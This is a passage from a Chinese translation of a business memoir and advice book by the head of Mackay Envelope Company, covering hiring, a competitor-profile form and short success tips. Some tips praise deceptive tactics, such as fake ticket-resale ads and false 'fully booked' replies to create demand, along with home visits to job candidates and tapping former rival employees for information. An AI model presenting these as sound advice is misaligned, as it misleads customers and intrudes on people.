+这样做的结果是，只要你打电话到麦凯信封公司，通常铃声不超过三响，总机就会接听了；而且你听到的会是悦耳怡人的声音；如果你打来两次以上，总机还可能认出你的声音，在你还没报出姓名以前，就叫出你的名字了。 + +最近我们登了一则广告征求业务员，结果收到了135封履历表，我们筛选出30个人作第一次面谈，之后我和选出的最后8位又面谈了一次，最后全都否决掉了。我们又得重新再来一遍。 + +我们公司雇用人才需要花上30天到两年。有人曾经问我：“怎么可能？你怎么能够忍受一个空缺悬置那么久？”首先，我们作好未雨绸缪的计划，这样一来就不会因为有人离开而手足无措。其次，在我工作的27个年头里，一年52个星期我随时都在征才。即使并没有空缺，如果真是个人才，我们也会雇用他，因此我们拥有坚强的候补阵容。另外，由于我们选拔过程非常严格，所以长期留任的比例能高达80%之谱。得到麦凯信封公司的任用，就好像奉命上战场，新进人员感到骄傲，而公司其他员工看到管理阶层如此尽忠职守，也与有荣焉。 + + + +有效选拔人才 + + + +要想了解选拔人才的基本原则，只要回头看看买卖的道理。身为雇主的你是买方，而前来应征的人则是卖方。履历表、面谈、推荐信都是卖方的推销工具。你可以换个立场，假设自己是应征者：你会穿上最好的一套衣服，还是要捐给穷人的旧衣服？应征者精心挑选的介绍信，会告诉你他是个天才还是白痴？你期望介绍信上这样写吗？“敝人希望贵公司能给杰克一个工作，因为，天晓得，我们实在无能为力。” + +因为应征者这么卖力在推销他自己，你就应怀防人之心吗？千万不要！推销术很可能正是你要找的。可是欣赏一段美妙的电视广告，和全然相信它，是两码子事。当你负责选用人才时，你的责任就像是品质管理工程师负责检验产品，并盖上合格标签一样。 + +我并不想讨论和应征者面谈的技巧，许多专家已经在别的地方谈过很多了。我们麦凯信封公司有一套10个阶段的选才程序，我真的认为很特别，而且很管用。当然，我们并不会对每一个应征者采用全套步骤，不过程序绝对比你想像的还多。如果这听起来很麻烦，你想像一下，万一用错了人，还得开除他，两相比较，这项投资就很值得了。 + +第一步：请应征者来面谈——只是纯粹的面谈，不做任何进一步接洽；除非人事部门的主考官是个老手，确切知道管理阶层要找的是什么样的人，而且他有足够的自信，不会因为感到威胁而刷掉出色的应征者。 + +第二步：由管理阶层的人再对应征者进行6次到8次的后续面谈，此外，仍不动声色，除非公司的主管需要讨论他们的看法，或是要提出具体的理由、建议任用或淘汰(这是很好的训练)。 + +第三步：我自己和应征者谈半小时。大概不会有太多公司的总裁在面谈时，喋喋不休地诉说他如何创立这家公司，或是他身为工商政要(industry statesman)的看法。而应征者的分数如何，取决于他倾听的兴趣。 + +第四步：我在电话里和应征者谈半小时。想想看你公司里里外外的事，有多少需要靠电话来办的？你的应征者能够在电话里清楚地提企划、说服他人，并且与人沟通吗？在电话中和他交谈，可以尽早发现这个人到底是能言善道，或者只是一具电话答录机。 + +第五步：向外界打听消息，查查看这位应征者在这行的表现如何，看看谁知道此人。但是要找可信而友善的消息来源。 + +第六步：我在应征者配偶、小孩都在家的时候，到他家里和他谈谈。我想要看看应征者在最容易暴露自己的环境下，他个人对于工作的评价如何。这也是测验他是否正直的好机会，他的家庭生活果真像他在面谈时所描述的一样吗？ + +第七步：我会在不同的社交场合与应征者晤谈，我加入应征者所喜好的社交活动。看看这个人在社交场合举止如何。这对于业务员而言是相当重要的，因为在这种场合里，正是必须表现技巧和说服力的时候。 + +第八步：让应征者见见两、三位我的同辈，他们的公司也在城里，但是业务和我们没有竞争性。这种拜访很简短，而我也必须以接见他们的最佳人选，作为回报。 + +第九步：一起拜访各业的一些高手。优秀的应征者必须能过得了他们这一关，我认为亲自认识(personally knowing)这些高手是必要的。(另外，靠这些人的引导，可以打一开始就找到很好的人选，这也是个很棒的法子。) + +第十步：拜访顾问。专家通常能指点我们。如果你雇用了这位应征者，以后这些分析资料对于注意(address)他的优缺点，会有很大的帮助。 + +这是有效选拔人才的十个步骤：“麦凯自然淘汰的基本训练”。另外，我从来不打电话或拜访那些写介绍信的人，但我总会在面谈中，问问应征者，影响他最深的教师姓名，或是其他深知应征者优缺点的人。令人惊讶的是，我经常发现应征者所提的名字和履历表上所写的，有很大的差异。 + +祝你“猎”人才愉快！记住，如果你不确定未来是否会庆幸你用了这位应征者，那么，千万别录用他。 + +## 第63课 选才试纸 + +问问你自己，如果这位应征者到你竞争对手的公司上班，而不是到你的公司，你作何感想？ + +## 第64课 想当好人得先有本钱 + +当我在1960年刚开始经商时，我认为如果能给每个员工一点圣诞节嘉奖，将是很亲切的作法。钱是不可能的啦，所以我送他们一人一只圣诞节火鸡。第一年我送出12只，第二年35只，然后是50只，然后又是75只，现在则高达350只……。我想除非是由我自己来发动一次革命，否则是没办法停止了。 + +想慷慨一下，无可厚非，不过你得记住这种偶一为之的举动，非常容易成为永远的“传统”。切记！切记！ + +## 第65课 省时绝招 + +多花点时间在时间管理上。就节省时间而言，你和最有钱有势的竞争对手一样有利。人的一生中能够节省下来的时间是很惊人的，你可以利用这些时间完成许多事。譬如： + +1.在车子里装一部电话。 + +2.拜访客户前，一定要先打电话确定他在。 + +3.一定要把车子停在不会被堵死的位置。 + +4.利用车上的卡式录放音机，听一些可以教你东西的录音带，而不要浪费时间在听电台喋喋不休的节目。 + +5.旅行时一定要随身携带录音机，如此你即使在开车时也能够“记笔记”。 + +另外还有一些场合也可以节省时间： + +6.不论走到哪里，都不要忘了在口袋里放个录音机，现在你已经比你的对手多拥有一倍的时间。 + +7.身旁不忘带一些有用的读物。 + +8.千万不要在星期五的午餐休息时间到银行去。 + +9.别和其他业务员喝咖啡闲聊，你的对象应该是客户才对。 + +10.别再把整个星期的阅读时间浪费在报纸的体育版或综艺新闻上面，你该看的是商业新闻或杂志。 + +## 第66课 愤怒和报复一样不可取 + +和其他人一样，我一生中也累积了一大堆敌人，这没什么好丢脸的。“原谅敌人”这句忠告，很多人都做不到，毕竟当我们受到伤害时，都会想要报复，而且记恨多年。 + +这样实在是有害生产力。有一次我开除了一个员工，结果他加入与我竞争的行列，并开始运用一些我觉得是不公平的商业手段。愤怒的情绪和积怨，使我产生报复的意念，耗费了我生命中美好的五年。 + +事实上我不只浪费了时间，因为每当我想到这件事，就会变得充满恨意而且尖酸刻薄，这种态度进而影响到我在做的每一件事情。结果是得不偿失。 + +如果你无法接受最好的忠告——原谅你的敌人；至少接受次好的忠告——忘记他们。因为你真正能复仇的方法，就是别让你的敌人使你毁灭自我。 + +## 第67课 认识敌人 + +了解你的竞争对手，就跟了解客户一样重要。 + +让我举个简单的例子。我认识一个厂商，他的主要竞争对手生产设备更大更新，而且就盖在隔街对门。这两家公司其实都很不错，但我的朋友就是没有办法打赢对方。他试过所有可行的方案，结果都徒劳无功。 + +最后他决定试试完全不同的途径，他不再把心力集中在争取顾客上，反而把箭头指向这位对手。他要找出对手有没有任何弱点，可以转化成他自己的优点？ + +结果真的找到。他发现有个客户决定在南方扩大业务。而对手离客户最近的工厂在纽约，他自己则在南方阿拉巴马州有一座工厂，当然他就善加利用这点，在这个地区加紧努力，因为他的对手绝对无法在这里和他比价格或比服务。 + +下一次，当我这位朋友的业务代表在走进那位客户的办公室时，便能够提出在南方发展的整套计划，这是他首次出击成功，让对手望尘莫及。 + +如果我这位朋友只盯着顾客不放，他永远都作不成这笔生意。就因为他不相信竞争对手是打不败的，所以致力搜集对手的一切资料，终于掌握先机，达成这项买卖。 + +除非你的产品或服务是独一无二的，或是在苏联经营国营面包店，否则商业竞争是绝对免不了的。你必须要面对它，而最好的办法就是尽可能搜集情报，并且付诸行动。 + +我们不再像古老的罗马斗剑比武，使用“你出剑，我挡盾”的方式，只是被动地等待别人领头出击，再想办法因应，这种竞争方式已经过时。 + +那个时代并不重视计划，当时有个行销上的老规矩，就是把策略归纳为4点，称为4P： + +●产品(Product) + +●价格(Price) + +●通路(Place) + +●促销(Promotion) + +这种方法成败不定，如果不成，就换另外一个新顾客，再继续努力。 + +今天我们的竞争方式完全不同了。不管在军事上或企业经营上，都更复杂、更需要分析和运用策略，不再只限于战略而已。我们现在结合管理阶层和董事会的幕僚，运用电脑共同策划出： + +●行销策略 + +●目前的情势报告(prosition papers) + +●长程计划 + +●利基、目标 + +●尽量搜集信息 + +武士时代的竞争方式过于简化，现在科技时代则又太过复杂。现在我们可以说是竭力研究对手的资料，但是你不可能埋在资料堆中还能经营生意。 + +很多管理人虽然本身信息已经泛滥，但仍不断要求更多的信息，结果运用信息时不是零零散散，就是运用不当。知识如果不运用，就不能成为力量。信息不必是无懈可击，但一定要能够加以利用，并且管理人需要有判断能力，才能根据信息采取正确的行动。 + +不久前我们才把这个想法付诸行动，构想是从我们的客户小传来的，所以将它称为“竞争者档案”(competitive profile)。以下就是一份完整的表格，我们把每一个重要的竞争者都填上资料。(见附表) + + + +麦凯信封公司竞争者档案 + + + +填表日期__________________ + +上次填表日期__________________ + +填表人__________________ + + + +一、公司背景 + + + +公司名称__________________ + +总公司地址__________________ + +子公司抑或独资公司__________________ + +若是子公司，母公司是哪一家__________________ + +上市公司/非上市公司__________________ + + + +二、具体规模 + + + +拥有工厂数目__________________ + +工厂地址__________________ + +员工人数__________________ + +能提供最佳服务的地理区__________________ + +能提供一般服务的地理区__________________ + + + +三、投资评估 + + + +会计年度终止日期__________________ + +去年营业额__________________ + +去年利润__________________ + +过去两三年的表现__________________ + +任何不寻常的财务动态(例如大笔存货等) __________________ + +负债比例__________________ + +整体财务状况(优中劣) __________________ + + + +四、订价 + + + +价格走向：高价位高而硬__________________ + +低价位乱杀价__________________ + +面对价格竞争时会采取什么反应？__________________ + + + +五、公司成员 + + + +有无工会组织__________________ + +公司最重要的人士是谁？职位？__________________ + +这家公司的声誉如何？__________________ + + + +六、定位 + + + +目标市场__________________ + +特别的产品__________________ + +公司短期策略__________________ + +公司长期策略__________________ + + + +七、计划 + + + +这家公司很积极地想保有现有的地位，并向上成长吗？__________________ + +他们是否想合并其他公司__________________ + +有无发展新产品或服务项目__________________ + + + +八、身为供应商的表现 + + + +平均送货时间__________________ + +服务品质__________________ + +服务优点__________________ + +服务缺点__________________ + +解决顾客问题的能力__________________ + +关系最好的顾客__________________ + +使他们蒙受最大损失的客户__________________ + +他们如何招待顾客，赠送礼品？(他们怎样利用招待顾客，赠送礼物) __________________ + +谁是他们最重要的供应厂商__________________他们在业界的声誉：__________________ + +绝对光明正大__________________ + +不尽如意__________________ + + + +九、在生意圈中的地位 + + + +总体来看，他们的声誉有何特色？__________________ + +这家公司(或老板)有无法律上或形象上的问题？__________________ + +这家公司(或是其母公司)有无涉入任何慈善、社会或公民团体？__________________ + +高级管理阶层如何？__________________ + +业界如何看待这家公司？__________________ + +和我们公司有往来的生意伙伴怎么看这家公司？__________________ + + + +十、盘查资料 + + + +我们可有刚从这家公司跳槽来的员工，可以让我们挖掘相关情报？__________________ + +有哪些客户过去只用这家公司的产品？或是有哪些客户同时使用他们和我们公司的产品，但很信赖他们公司提供的消息？__________________ + +你还知道哪些人可以提供这家公司的情报？__________________ + +我们知不知道这家公司对我们的看法？(譬如懒散、积极、技术很好、领先群伦等等。) __________________ + +最近在商情新闻中有没有相关的报道，是财务性质的还是一般性的？(如果有的话，务必将其归入档案) __________________ + + + +十一、敌我的战争 + + + +我们最想要他们手里的什么生意？__________________ + +他们的哪些业务员经手这些生意？__________________ + +他们在这个行业里致力于哪一项？(例如哪一地区？哪一区隔市场？)如果我们想增加市场占有率，该怎么做？__________________ + +我们(或其他人)可曾从他们手里抢过生意？如果有，是怎么办到的？__________________ + + + +十二、事后检讨(Post mortem) + + + +如果能将下列5件事做好，我们就能打败这个竞争对手： + +1. __________________ + +2. __________________ + +3. __________________ + +4. __________________ + +5. __________________ + +注意，这份小传并不是大部头的厚达5英寸的电脑报表。它不是装饰用的，而是抓住重点的，可读、可用的。 + +让我们看看如何填它以及运用的方法。 + +在我们进行这项计划时，每个星期都空出半天来填这些资料。我们花了两个半月才填完所有的问卷。别吓坏了，这些资料有很多是由幕僚人员或助理搜集来的。碰到最繁多的部分，我们就组成一个三到四人的小组，一起来讨论，这些人包括业务经理、相关的业务主管、业务员，还有我自己。 + +现在我们逐步来看看整份问卷。 + +一、当然要知道名字和地址，你得知道竞争对手是个子公司还是独资公司，背后有什么力量在撑腰。 + +二、这份档案是为制造商所设计的，可是也可以轻易地运用到服务业。在信封制造业里，地理区是影响成本和服务品质的重要因素。如果你制造的是半导体，你可以重新设计问卷，问问看哪一个区隔市场或行业，是你最有利的服务对象。 + +三、如果你要参加拳击比赛，一定要先知道对手的身体状况，是很健康呢？还是刚得过感冒，因为这会左右你的作战计划。不只你该知道，你的业务员和业务主管也该知道这些资料，因为毕竟是他们在决定每天的交易买卖。 + +四、你必须了解竞争对手在价格上的动向，这是厂商最容易玩花招的地方。 + +五、工会组织会使公司减少一些弹性。搞清楚谁是真正的决策者，并且确知你的人事主管也清楚。一个士气有问题的公司，通常是竞争者的攻击目标。 + +六、对手的目标是谁？是什么？阅读他们的促销文案，还有他们的年度报告。在今天一切讲求公开的趋势下，许多商业策略都像翻开的书一样。定期阅读这些资料：看看他们有没有达到他们想追求的目标？ + +七、随时留意进一步的发展。在今天的合并风气之下，什么事都可能发生在对手身上。一个企业出售，可能意味着市场会被瓜分，但也可能意味着大量新资源的投入。 + +八、了解你的对手是如何做生意的。不只是指价格和产品，还应该了解他们的服务记录：他们如何运用资源？当他们请客户吃午餐时，吃的是龙虾，还是鸡翅膀？了解他们的工作伦理(ethics)。你不必为求成功不择手段，但是你得了解你所面临的是什么样的对手(为了避免对手也如法炮制，千万记住锁上你自己的档案柜)。 + +九、公司声誉和它是否参与公益活动，有关键性的关连。如果两家公司有业务往来，主要是因为他们的老板同是交响乐团的董事，你最好找到因应之道。 + +十、有些很有价值的消息很容易到手：从大众的意见和耳语而来。小心过滤这些信息，但绝对要加以运用。搜集情报可不是指制造另一件水门案，它指的是增加可信的消息来源，并阅读商业新闻。要确定机密保存这些资料，以防有朝一日你的业务员或行销主管投入别人旗下。 + +十一、我们想从打击对手中，获得什么直接利益？看看过去的历史，以前他们是如何被打败的？ + +十二、你的行动计划是什么？它们必须简短而直接(单刀直入)。别忘了3个月到6个月后，回头看看你是否达到预定的目标，还是要另外展开新的行动？ + +现在你可能已经猜到为什么这份问卷要这么仔细。它不仅能告诉你，你的竞争对手状况如何，还能让你知道自己的策略如何。 + +一旦你把这些问卷聚集起来，排列顺序，分类比较，你会发现自然会形成一个模式，可以打垮对手，竞争者档案会成为策略性的计划，我从来没有看过比这更好、更简单、更有效或更有甩的办法。 + +## 第68课 别被盛名所累 + +伟大的德国军事战略学家克劳塞维茨曾指出，看一位指挥官是否称职，就看他是否会高估敌人实力而错失先机。通用汽车公司和IBM数年来都执该行业的牛耳，其实他们自身都有危险的缺陷。然而那些原本可以和他们竞争，抢夺市场占有率的公司，却始终不成气候，他们不算真正的竞争对手。这些公司只求和平共存，搜寻还未被填满的市场利基(niches)，以便在这些大公司的餐桌旁捡一点饼屑吃。等到竞争终于来了，对手和美国文化差异极大，通用汽车等大公司根本搞不清楚这种巨无霸对手为什么那么厉害；另外的竞争对手则来自小本经营的公司，他们完全不按牌理出牌，反正也没有什么好损失的。 + +日本人让我们看到通用汽车的很多缺点，诚如一些有胆量的美国企业家让我们发现IBM的弱点一样。现在这两家公司都被迫以杰出的表现来求生存——过去他们才不把竞争者放在眼里，现在他们认真应战了。我们都该向他们看齐。 + + + +# 第四章 速成秘诀 + + ## 秘诀1 感激是人类情感中最弱的一环 + +你一定听过类似的话，口语一点就像“你看我最近被你害惨了”;比较典雅的则是“不知感恩的孩子比毒蛇的利齿更伤人”。不管怎么说法，我觉得有必要在此重申一遍：不要期望受你恩惠的人对你的感激之情会持续到他说完“我永远感激你”之后。 + +我们能有今日的成就，是因为曾得到许多人的帮助。但是如果用举手的方式调查，恐怕会有99.9%的人会认为自己是完全靠自己站起来的。 + +爱、恨可以长久，但是人类的天性却极不愿意承受他人恩情的重担。因此道义上的感激之情常常无法持久。所以无论你对孩子、配偶、部属、老板或朋友做了什么，要记住这句话把事情当作是为自己做的，这样会比较快乐。同时，做过之后就忘掉，因为获益的人早已忘记这回事了。 + +## 秘诀2 有一就有二 + +许多新构想总是从各个不相关的领域同时出现，我相信对此一定有个合理的解释。在一段时期，社会上会有一些大家都想追求的目标，譬如发财或减肥等。各式各样的人在各种不同的地方，建立并运用相同的知识和共通的经验，告诉你达到这些目标的途径。你一定会发现这些途径都很像。 + +科学上的发现似乎都是如此。创造性的活动又何尝例外？我们思想的雷同之处远比我们愿意承认的多。如果你想出一个好点子，表示你很可能会有另外一个。 + +我有过上述的经验——尤其是当我以为别人偷窃了我的构想时。你一定也是如此，可以想出不只一个好点子。“一次”是永远不够的。 + +## 秘诀3 广结名流的方法 + +我们能一睹名流的庐山真面目可能很兴奋，但是他们和我们见面却多半很无聊。会见名人时我们该谈些什么，以便让他们印象深刻，而我们也可以得到一些真正有价值的心得，不致于白跑一趟？ + +如果谈他们的成名事迹，你会发现成千上万次同样的回答，已经使他变得目光呆滞。 + +诀窍是不要像一个狂热的崇拜者，而是要把他们当作“人”来看待。找出“他们”有兴趣的话题——我可以和你打赌绝不会是有关他们职业方面的(哪个医生会喜欢在鸡尾酒会上谈他诊所的事)。 + +我的妻子卡罗尔·安是个中高手。有一次我们在一个宴会上遇到足球名人辛普森，没多久他俩就发现彼此都是艺术灯迷。没错，这位强壮的足球先生收集台灯，而且还喜欢聊他的收藏。 + +向辛普森表示你想和他交换薄纱台灯的价码情报，不是比背诵一些老掉牙的足球轶事有趣得多吗？ + +几年前卡斯特罗接掌政权后，我随第一批企业家访问团前往古巴。我有个机会和卡斯特罗单独会谈。当时我说的是英语，而卡斯特罗说西班牙语。我想他可能不懂英语，有一个人充当翻译。 + +我打算直捣黄龙。我问他：“司令官，我注意到你的身体很好，你是怎么做到的？”我从图书馆借了一本他的传记，知道他在进入政界之前，曾经是一名投手。 + +他目光一动，不等人翻译就回答：“打保龄球。”说的是西班牙语。然后他继续叙述如何在革命官的地下室辟设保龄球场，又从胸前口袋取出一本小记事簿，里面记录他与将军们比赛的分数和胜负情形。最后一栏可看出谁欠谁什么。果然不出所料，大家都欠卡斯特罗东西——他击败了每一个人。我说：“真凑巧，我正好连续3年赢得明尼苏达大学保龄球冠军。”“哦，真的吗？”卡斯特罗脱口而出——说的竟是英语。一切不懂英语的伪装，都因为发现保龄球同好而兴奋得全消失了。 + +他立刻警觉到自己的行为，于是谈话很快就给束了。多年以来，我和许多人共进晚餐时，都谨记这个故事的启示。如果当时我们只是进行几回合资本主义与共产主义的标准会谈，我对卡斯特罗就不会有较多的了解了。 + +要找到你需要的名人资料，我的办公室里有一本书很管用，书名是《美国名人录》。似乎每一个名人部被网罗在里面了。不久前有人请我在一个节目中为包可华作人物特写专访。由于整个节目是绕着他来进行的，我们不仅安排包可华在广大观众前面说话，并且邀请他晚餐，我则坐在他旁边。 + +这时候，我要和包可华谈什么？要口答这个问题，你得去查《美国名人录》。它指出包可华曾在海军服役过(海军我一无所知);不过他是南加利福尼亚大学毕业的，我和那个地方还有点关系。所以，与其笨拙地想找出共同的话题，或是坐在桌前盯着台布两小时，不如一开始就用这个话题打开包可华的话匣子。如果有些人的资料在这本名人录中找不到，各地亲切的图书馆管理员也会给你正确的指引。 + +## 秘诀4 自尊自重 + +下一次，如果有人说你是个自私自利、自我中心的“王八蛋”，不要忘了向他道谢。因为这么做，等于是强烈地认可了你的身心健康。“自尊自信”正是时下风行的名词，而且也该是好好提倡的时候了。自尊越强的人，不仅越能独处，也越容易与他人相处，而且越可能有所成就。 + +谦虚是一种被过度高估的情感。我们小时候，别人就常常告诉我们：说谎和夸口是最坏的事。我倒是蛮赞成罗杰斯的话：“我做得到的事，说出来就不算夸口。” + +为我们曾做过的事情或自认做得到的事情感到骄傲，有何不对？依我的看法，谦虚是我们小时候父母和老师为了便于控制我们，而勉强我们学习的“美德”，但却是一种很造作的美德。其实年轻人总是充满信心，认为自己有办法做到一切。 + +俄亥俄州立大学心理学博士葛林渥教授认为“自我中心的偏见”(egocentricity bias)是一种身心健康的表征。“自我中心的偏见”就是用一个比较好的眼光重新估量自己在事件中的地位，并深信自己对事件的控制能力远比实际的表现强。 + +我对他的说法深表赞同。葛林渥博士把这种心理现象称为“自我中心的偏见”，我宁可称它为“乐观”。我认为乐观就是一个人能持续有所表现的特质。你看过一个悲观的人有良好的表现吗？(附带说一句，没有人认为自己是悲观的。悲观的人总是称自己为识时务的人。) + +乐观掺杂了自我想像的成分，这是一种信念，认为自己的能力一定能够克服从常理来看不能克服的障碍。这正是完成艰巨的任务所不可或缺的信念。 + +如果我们不认为自己能完成似乎无法完成的工作，怎么可能把事情做得好呢？运动场和市场上表现杰出的人总是以英雄自诩，只差没有跑到屋顶上去仰天长啸罢了。不过他们表现的就是一副英雄的模样。事实上，棒球球探把那种模样称为“赢家的脸孔”，也就是胜利者脸上流露出的自信表情。 + +不要让这种自我中心的偏见、乐观的态度自你身上消退。这种态度远比谦虚会让你更具有生产力。 + +## 秘诀5 根本没有“记性不好”这回事 + +六年级的小约翰带回家的成绩单上都是“丙”和“丁”。父亲询问他理由，约翰回答：“我什么都记不住。” + +老爸说：“这样好了，在你的成绩进步之前，不能再去看任何棒球比赛。就从现在开始，今晚那场球赛你就甭去看了。” + +“等一等，”孩子说：“你不能这样做。道奇棒球队到镇上来了。法廉瑞拉是投手。他去年的纪录是赢21场输11场，每场平均失分3.14分，领导球队打完全部比赛，并获得胜利。全年共担任269局投手，3振242人，名列第二。” + +谁说他记性不好？ + +我们记得住任何事情，只要我们对那些事有兴趣。我认识一个人，他记不住国务卿的名字，却记得伯林写的每一首歌的歌词。爱因斯坦也记不住自巳的电话号码。他说：“反正查得到，何必记它？”爱因斯坦真正记得住的事情，是那些他若不写下来就没人查得到的事。 + +没有人指望你去记得顾客小孩的名字，但你还是可以在需要的时候自然顺口地说出来——只要你善用“麦凯66”的表格。 + +你要在与顾客分手后“马上”把它们写下来。在表格上一填就没错了。下一次你去办公室找他前的5分钟，只要瞥一眼表格，你就是个天才了——至少看起来像是个天才。 + +这种繁琐的小事不能太依赖你的记忆——再好的记性也不如烂纸头。学爱因斯坦那一套，他并不笨，只要写下来就可以查到。但是你必须确定自己真的写下来了。 + +## 秘诀6 人不能忘本 + +我们都见过小康之家发达后的样子，他们喜欢炫耀。暴发户常过着招摇的生活，显示了他们的不安全感。他们借着这种生活方式向自己及世人证明，他们已经变成大人物了。 + +我们的经济体系也多少鼓励这种风气。否则我们怎么向本来能走路上班的人推销保时捷(Porsche)和BMW汽车？又怎么向不爱游泳的人推销游泳池？ + +然而赚进大把钞票真的会让人昏了头：人们会忘记当初帮助他的人，并且利用刚赚来的财富尽可能摆脱他原来的出身。 + +没有一个人的事业在从无到有的过程中，是完全靠自己打出来的。很久以前，曾经有人在我们身上看到某种优点，因而愿意助我们一臂之力。然而现在他们对我们的看法还是一样吗？我们应该扪心自问。如果答案是否定的，如果成功使我们改变了，那么我们就该恢复从前一无所有的时候！无论你有多少财富，都可能消失得像来时一样快。你最好能保有当初吸引别人信任我们的那些特质，并且与良师益友保持接触。如果我们和他们的距离愈来愈远，也就等于放弃了使我们拥有今日成就的因素。 + +## 秘诀7 预测未来可保心智敏锐 + +试着自己做个游戏：无论是股市行情、选举、还是运动竞赛，只要你有兴趣，就来预测一下它们的绪果。游戏有三项规则：第一、你一定要把预测的结果用白纸黑字记下(否则你一定会作弊)。第二、你得写下你为什么如此推测。第三、当你预测错了，要强迫自己分析错的原因，为什么你的论点站不住脚。 + +如果你的“自我”偶尔需要点刺激，这个小小的测验会使你终生受用不尽。这项测验迫使你重新检查并调整自己的推理能力，犯错也不用付罚金。你会发现练习次数愈多，准确性就愈高。如果你发觉自己极具天分，就该让你的天分兑换成现金。 + +## 秘诀8 日光浴的秘密 + +衣履光鲜通常能赢得财富，但是有时候农着褴褛赢得更多。 + +有一位住明尼亚波利斯的商人到夏威夷威基基海滩欢度圣诞节。他每天在沙滩上做日光浴，让全身肌肤晒成古铜色——自颈部以下。从日出到日落，他始终用一顶帽子遮阳。他的朋友自然感到好奇，但又不便问明原因，心想也许他有什么疾病，睑部必须躲开阳光。最后，一位熟在开口问起，这位商人笑道：“谁，我？有皮肤病？笑话。下个星期我要出席州议会的听证会，因为我正在申请一笔巨额补助。我可不敢让人逮到脸上有日光浴的痕迹。” + +## 秘诀9 邀百万富翁共进午餐 + +稍早我曾告诉你，运用留便笺的方式，在你的职员和顾客的心目中树立起你个人风格有多重要。一些我所认识的聪朋商人，几乎把这种简单的设计当商标使用。让我再传授你一个秘诀：把你留言的对象列成一张名单，而你所认识的最重要人物必须列在上面。不错，高处不胜寒，愈重要的人物，愈需要别人安慰。 + +一个极成功的人之所以愿意付出超乎常人的努力，原因是他更需要别人的认同和肯定。钱是一项衡量的标准，因此有人拼命赚钱。朋友的称赞也同样有用，但这比较难得到。如果你认识其中一类型的人，别吝于让他们听到你的掌声。 + +我的一个伙伴和我作法稍有出入。他创立了“邀百万富翁共进午餐俱乐部”(Take a millionaire to lunch club)。他说：“账单递上来的时候，你就可以准确地判断一个人到底有多少财富。钞票愈多的人，愈不会表现出来，因此账单送上来时，你就愈容易比他先把账给结了。” + +## 秘诀10 广结善缘 + +“你应该搭乘头等舱旅行的18个理由”，是我在加大洛杉矶分校修课时碰过的一个问题。 + +当时我以为这不过是教授讨论主题的一个引子，结果并非如此。 + +答案的第一个理由是为了“人”。在头等舱里，常有机会结下难得的友谊，这在经济舱内的旅行团体中很难觅到。我说友谊，不是指趋炎附势。坐头等舱的人都希望了解同舱里的其他 + +客为什么愿意多付20%到30%的费用，来换取喝香槟，以及比其余乘客早20秒着陆的权利。特别是在长途的国际旅行中，你真的可以结识一些飞行伴侣，从而建立珍贵的友谊。我就有过这样的经验。 + +## 秘诀11 勿裹足不前 + +对一个普通人而言，1000万似乎是绰绰有余了。“但是能得到1000万的人，都不是因此就知足的人。”杂志发行人葛拉士曼如是说。 + +## 秘诀12 如何战胜供需法则 + +一位重要球队联盟的负责人告诉我这个故事。有一年，球队表现得不如人意，数以百计的观众退回了季票，球队负责人了解，如果这件事开始受公众瞩目，退票会变成滚雪球。因此他们守口如瓶，从容地设计了一套令人叫绝的办法把空位填满。 + +他们花10块钱在地方报纸上登了一则不起眼的广告：“离城外出，四张季票待售。”结果反应热烈。一批票售罄后，他们再如法炮制。最后神不知鬼不觉地，卖出了所有被退回的季票。 + +纽约的一些朋友告诉我，同样的方法也适用于经营餐馆。新餐馆开张的前两个月，他们每晚告诉半数电话订位的顾客：座位已满，请稍候再拨。 + +他们的作法显然与球队联盟如出一辙：罔顾供给状况——制造需求的假象。这个故事的重点不在人的无知，而是处在资本主义的经济体制下，每件出售的东西都是商品，无论是股票、不动产、季票还是餐馆座位。容易到手的东西大家不屑一顾。如果得之不易又需求正殷，就会成为抢手货。 + +我在第一课里描绘的市场状况并未改变，决定一件物品价值如何的是需求的假象，而非物品实际的价值。 + +## 秘诀13 勇于任事者得宠 + +会议快结束了，老板指派了工作。你正要离去，回到楼下那间斗室里完成预定要做的事。 + +你脑中同时涌现两件事：你试着思索刚才分派给你的那些冗长、欠考虑而难如登天的工作怎么可能完成;另一方面，你的老板正等着听你提出锦囊妙计。所以放聪明些，你首先要满足老板的需求，不是你的。 + +暂时别考虑该如何执行，既然你责无旁贷地必须亲自处理——这是老板付你薪水的原因——为什么不让他听他想听的话：“我会负责一切。” + +贝比罗斯受雇打全垒打，当然他的确击出了714支。不过最值得回味的一次，是他在击出全垒打前，用球棒指着球场中央预告“将击出全垒打。” + +预告你将击出全垒打吧！采取行动之前先做预告，成效甚佳。你让老板觉得安心，你是一个主动出击的人，在市场上，还有什么可以为你带来更佳的声誉？ + +## 秘诀14 演讲前多做练习 + +荷柏斯坦的新书《评价》(The Reckoning)中收录了一则轶事，描写福特汽车公司总裁柯德威尔如何气急败坏地表示，他需要十位不同的拟稿人为他撰写讲稿。 + +我敢说，只要柯德威尔满意最后的讲稿，他就会直接上台演讲，不会先找群听众模拟。 + +如此费心地撰写讲稿，却忽略了估计听众的反应实在没道理。 + +百老汇的首演不在百老汇进行有它的原因。首映在城外举行，制作公司可以从观众的反应来评估演出，他们相当了解：单凭自己，根本无法评估作品的好坏，群众的反应是作品必经的考验。 + +演说其实就像公司里其他的重要产品，也要做市场调查。路边就可以开始表演——不是面对公司里的公关人员，而是一群不相干的人，像扶轮社等地方性社团。修正你的笑话和内容，直到你筛选出最佳的组合。这种作法不仅使内容更完善，也能改进你的表现，因为你更有把握掌握听众的反应。 + +多数成功者都是出色的演说家，我们生活在资讯社会中，能用一种慧黠而简洁有力的方式诠释资讯的人，无疑拥有一项宝贵的技能。“聪明，可是语焉不详”也许适于形容一位核子物理学家，但绝不适用于我所认识的顶尖企业领袖。他们不但聪明绝顶，而且口齿清晰。我认识一个人在数年间更换了好几个不同的行业，从法律、政治、卖保险、出版、广告到写作。不是六个工作，而是六个不同的行业。他当然不是各行各业的顶尖人物，却也过得十分惬意。 + +我自己从未冒险脱离本行。出于妒忌和好奇，我问他：“从这行业跳到那行，你是怎么做到的。” + +他说：“我并未转行。我始终做同样的事情，只是工作名称不同而已。别人称我们是‘文字匠’(word dinks)。” + +学习应用语言吧！要写也要说。文字匠就有这种本事。 + +## 秘诀15 一生中完全孤绝的时刻——临死前和演说前 + +这是凡得·沙登公司宣传海报的广告词，这家公司专门教授企业主管演说技巧。我第一次看见这则广告，就报名参加了。然后又为我的职员报名。我的心得正是大多数成功演说者的心得：演说时你可能完全孤立，不过准备讲稿时，你未必要孤军奋战。 + 